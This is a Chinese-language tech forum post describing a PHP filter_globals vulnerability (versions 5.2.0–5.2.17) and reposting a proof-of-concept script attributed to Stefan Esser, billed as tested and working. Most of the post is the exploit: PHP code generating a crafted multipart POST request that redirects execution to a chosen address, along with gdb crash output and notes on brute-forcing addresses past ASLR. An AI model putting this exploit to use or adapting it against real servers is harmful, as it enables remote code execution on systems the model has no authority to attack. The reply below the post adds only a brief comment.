电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 696 人浏览分享

PHP 'filter_globals'结构任意代码执行漏洞【亲测可用】

 关闭 [复制链接]
696 1
  1. 漏洞版本:
  2. Php 5.2.0 - 5.2.17
  3. 漏洞描述:
  4. PHP是一款流行的编程语言

  5. Php 5.2.0至5.2.17之间存在一个信息泄露问题,并且由于在关闭阶段没有正确清理filter_globals结构可能导致任意代码执行

  6. 如果在设置PG(modules_activated)为1之前在启动阶段PHP bailout,filter_globals结构在关闭阶段不会被清理。后续请求会使用filter_globals结构没有清理干净的值,使用特制的请求可导致信息泄露和任意代码执行
复制代码



  1. <?php
  2. /* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111
  3. (C) Copyright 2012 Stefan Esser
  4. PHP 5.3.9 requires you to know the address of a writable address filled with NULL.
  5. 32bit requires you to create a fake 32bit Hashtable instead of a 64bit one
  6. Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000
  7. tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX
  8. better exploit might be possible after deeper research + heap massage
  9. This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS
  10. (gdb) c
  11. Continuing.
  12. Program received signal SIGSEGV, Segmentation fault.
  13. 0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,
  14. __zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)
  15. at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398
  16. 398 ht->pDestructor(p->pData);
  17. (gdb) i r
  18. rax 0x7fd9583352a0 140571464389280
  19. rbx 0x0 0
  20. rcx 0x8 8
  21. rdx 0x111111111111111 76861433640456465
  22. rsi 0x7fd95a077b08 140571495070472
  23. rdi 0x7fd9583352a0 140571464389280
  24. rbp 0x7fff75c47ae0 0x7fff75c47ae0
  25. rsp 0x7fff75c47a80 0x7fff75c47a80
  26. r8 0x7fff75c47bc8 140735169199048
  27. r9 0x1 1
  28. r10 0x6238396661373430 7077469926293189680
  29. r11 0x7fd962f4c8e0 140571644840160
  30. r12 0x7fd966b91da8 140571708038568
  31. r13 0x0 0
  32. r14 0xffffffff00000001 -4294967295
  33. r15 0x7fd964b10538 140571673953592
  34. rip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477> eflags 0x10206 [ PF IF RF ]
  35. cs 0x33 51
  36. ss 0x2b 43
  37. ds 0x0 0
  38. es 0x0 0
  39. fs 0x0 0
  40. gs 0x0 0
  41. (gdb) x/5i $rip
  42. => 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx
  43. 0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp)
  44. 0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625> 0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax
  45. 0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax
  46. (gdb)
  47. */
  48. $boundary = md5(microtime());
  49. $varname = "xxx";
  50. $payload = "";
  51. $payload .= "--$boundary\n";
  52. $payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";
  53. $payload .= chr(16);
  54. for ($i=1; $i<7*8; $i++) {
  55. $payload .= chr(0);
  56. }
  57. for ($i=1; $i<8; $i++) {
  58. $payload .= "\x11";
  59. }
  60. $payload .= chr(1);
  61. for ($i=16+48+1; $i<128; $i++) {
  62. $payload .= chr(0);
  63. }
  64. $payload .= "\n";
  65. for ($i=0; $i<1000; $i++) {
  66. $payload .= "--$boundary\n";
  67. $payload .= 'Content-Disposition: form-data; name="我是猪!'.$i.'"'."\n\n";
  68. $payload .= "我是猪!\n";
  69. }
  70. $payload .= "--$boundary\n";
  71. $payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";
  72. $payload .= "我是猪!\n";
  73. $payload .= "--$boundary\n";
  74. $payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";
  75. $payload .= "我是猪!\n";
  76. $payload .= "--$boundary--\n";
  77. echo "POST /index.php HTTP/1.0\n";
  78. echo "Content-Type: multipart/form-data; boundary=$boundary\n";
  79. echo "Content-Length: ",strlen($payload),"\n";
  80. echo "\n";
  81. echo "$payload";
  82. ?>
复制代码

评论 1

757338903 757338903  VIP荣誉会员  发表于 2012-3-6 09:04:44 | 显示全部楼层
来顶顶~~!学习一下~!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

23

粉丝

2901

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.